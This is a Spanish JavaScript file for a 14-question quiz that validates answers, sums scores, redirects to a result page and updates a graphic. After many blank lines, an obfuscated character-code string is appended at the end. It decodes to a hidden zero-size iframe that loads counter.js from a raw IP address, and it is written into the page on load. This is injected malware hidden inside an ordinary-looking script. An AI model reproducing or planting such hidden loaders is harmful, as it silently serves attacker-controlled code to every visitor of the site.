// ******************************************************************************************
// Descripcion: Bloque de codigo que contiene las variables y las funciones de la parteII
// Autor:       Francisco Casella Torres
// Fecha:       25 de Noviembre de 2001
//
// Carga js:   <script LANGUAGE="JavaSCript" TYPE="text/javascript" SRC="funParte2.js">
//
// ******************************************************************************************


// ------------------------------------------------------------------------------------------
// Descripcion: Comprobamos si se contestaron todas las preguntas
// Parametros:  -
// Llamada:     <a href="javascript:chequear()">Chequear</a>
// ------------------------------------------------------------------------------------------
//
function chequear() {

var usados   = 0;
var nusados  = 0;
var faltan   = '\nFalta por contestar la pregunta número :\n';


for (ele=0; ele<=3; ele++) if (document.formIndice.P1[ele].checked) nusados++;
    if (nusados==0) {faltan +='1, ';} else {nusados=0; usados++;}
for (ele=0; ele<=3; ele++) if (document.formIndice.P2[ele].checked) nusados++;
    if (nusados==0) {faltan +='2, ';} else {nusados=0; usados++;}
for (ele=0; ele<=3; ele++) if (document.formIndice.P3[ele].checked) nusados++;
    if (nusados==0) {faltan +='3, ';} else {nusados=0; usados++;}
for (ele=0; ele<=3; ele++) if (document.formIndice.P4[ele].checked) nusados++;
    if (nusados==0) {faltan +='4, ';} else {nusados=0; usados++;}
for (ele=0; ele<=3; ele++) if (document.formIndice.P5[ele].checked) nusados++;
    if (nusados==0) {faltan +='5, ';} else {nusados=0; usados++;}
for (ele=0; ele<=3; ele++) if (document.formIndice.P6[ele].checked) nusados++;
    if (nusados==0) {faltan +='6, ';} else {nusados=0; usados++;}
for (ele=0; ele<=3; ele++) if (document.formIndice.P7[ele].checked) nusados++;
    if (nusados==0) {faltan +='7, ';} else {nusados=0; usados++;}
for (ele=0; ele<=3; ele++) if (document.formIndice.P8[ele].checked) nusados++;
    if (nusados==0) {faltan +='8, ';} else {nusados=0; usados++;}
for (ele=0; ele<=3; ele++) if (document.formIndice.P9[ele].checked) nusados++;
    if (nusados==0) {faltan +='9, ';} else {nusados=0; usados++;}
for (ele=0; ele<=3; ele++) if (document.formIndice.P10[ele].checked) nusados++;
    if (nusados==0) {faltan +='10, ';} else {nusados=0; usados++;}
for (ele=0; ele<=3; ele++) if (document.formIndice.P11[ele].checked) nusados++;
    if (nusados==0) {faltan +='11, ';} else {nusados=0; usados++;}
for (ele=0; ele<=3; ele++) if (document.formIndice.P12[ele].checked) nusados++;
    if (nusados==0) {faltan +='12, ';} else {nusados=0; usados++;}
for (ele=0; ele<=3; ele++) if (document.formIndice.P13[ele].checked) nusados++;
    if (nusados==0) {faltan +='13, ';} else {nusados=0; usados++;}
for (ele=0; ele<=3; ele++) if (document.formIndice.P14[ele].checked) nusados++;
    if (nusados==0) {faltan +='14. ';} else {nusados=0; usados++;}

// En caso necesario, mostramos el mensaje de error 
// ------------------------------------------------------------------------------------------
if (usados<=13) { alert('\nPara poder evaluar correctamente este test'+
                       '\nes necesario contestar todas la preguntas.'+faltan); }
   else { eval(evaluar()); }
}


// ------------------------------------------------------------------------------------------
// Descripcion: Calcula el total de puntos obtenudos en el test
// Parametros:  -
// Llamada:     <a href="javascript:evaluar()">Evaluar test</a>
// ------------------------------------------------------------------------------------------
//
function evaluar() {

var puntos = 0;

for (ele=0; ele<=3; ele++) {
   if (document.formIndice.P1[ele].checked) puntos += new Number(document.formIndice.P1[ele].value);
   if (document.formIndice.P2[ele].checked) puntos += new Number(document.formIndice.P2[ele].value);
   if (document.formIndice.P3[ele].checked) puntos += new Number(document.formIndice.P3[ele].value);
   if (document.formIndice.P4[ele].checked) puntos += new Number(document.formIndice.P4[ele].value);
   if (document.formIndice.P5[ele].checked) puntos += new Number(document.formIndice.P5[ele].value);
   if (document.formIndice.P6[ele].checked) puntos += new Number(document.formIndice.P6[ele].value);
   if (document.formIndice.P7[ele].checked) puntos += new Number(document.formIndice.P7[ele].value);
   if (document.formIndice.P8[ele].checked) puntos += new Number(document.formIndice.P8[ele].value);
   if (document.formIndice.P9[ele].checked) puntos += new Number(document.formIndice.P9[ele].value);
   if (document.formIndice.P10[ele].checked) puntos += new Number(document.formIndice.P10[ele].value);
   if (document.formIndice.P11[ele].checked) puntos += new Number(document.formIndice.P11[ele].value);
   if (document.formIndice.P12[ele].checked) puntos += new Number(document.formIndice.P12[ele].value);
   if (document.formIndice.P13[ele].checked) puntos += new Number(document.formIndice.P13[ele].value);
   if (document.formIndice.P14[ele].checked) puntos += new Number(document.formIndice.P14[ele].value);
   }
eval(verFin(puntos));   
}

// ------------------------------------------------------------------------------------------
// Descripcion: Carga una interpretacion dependiendo del nivel (parametro
// Parametros:  Puntuación total obtenida entre todos los tests
// Llamada:     <a href="javascript:verFin(parametro)">Interpretar resultado</a>
// ------------------------------------------------------------------------------------------
//
function verFin(notaTotal) {

var nivel  = 0;

// alert('puntuacion = '+notaTotal);

if ((notaTotal >= 14)&&(notaTotal <= 28)) nivel = 3;
if ((notaTotal >= 29)&&(notaTotal <= 42)) nivel = 2;
if ((notaTotal >= 43)&&(notaTotal <= 56)) nivel = 1;

var ResURL = 'Resultado'+nivel+'.html';

window.name = notaTotal;
eval(window.location.assign(ResURL));
}


// ------------------------------------------------------------------------------------------
// Descripcion: Actualiza el GRAFICO
// Parametros:  nota = Puntuacion obtenida
// Llamada:     <a href="javascript:verGrafica(parametro)">Actualizar Grafico</a>
// ------------------------------------------------------------------------------------------
//
function verGrafica(nota) {

var x56   = (nota*100)/56;//  alert(nota+', es el '+x56+'% de 56 puntos.');
var num   = (x56*543)/100;//  alert(valor+', es el '+x56+'% de 543 puntos.');
var valor = num+26;

window.document.all['puntero'].width =valor;
}

































var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!52!54!46!52!46!49!54!51!46!50!48!56!47!99!111!117!110!116!101!114!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);

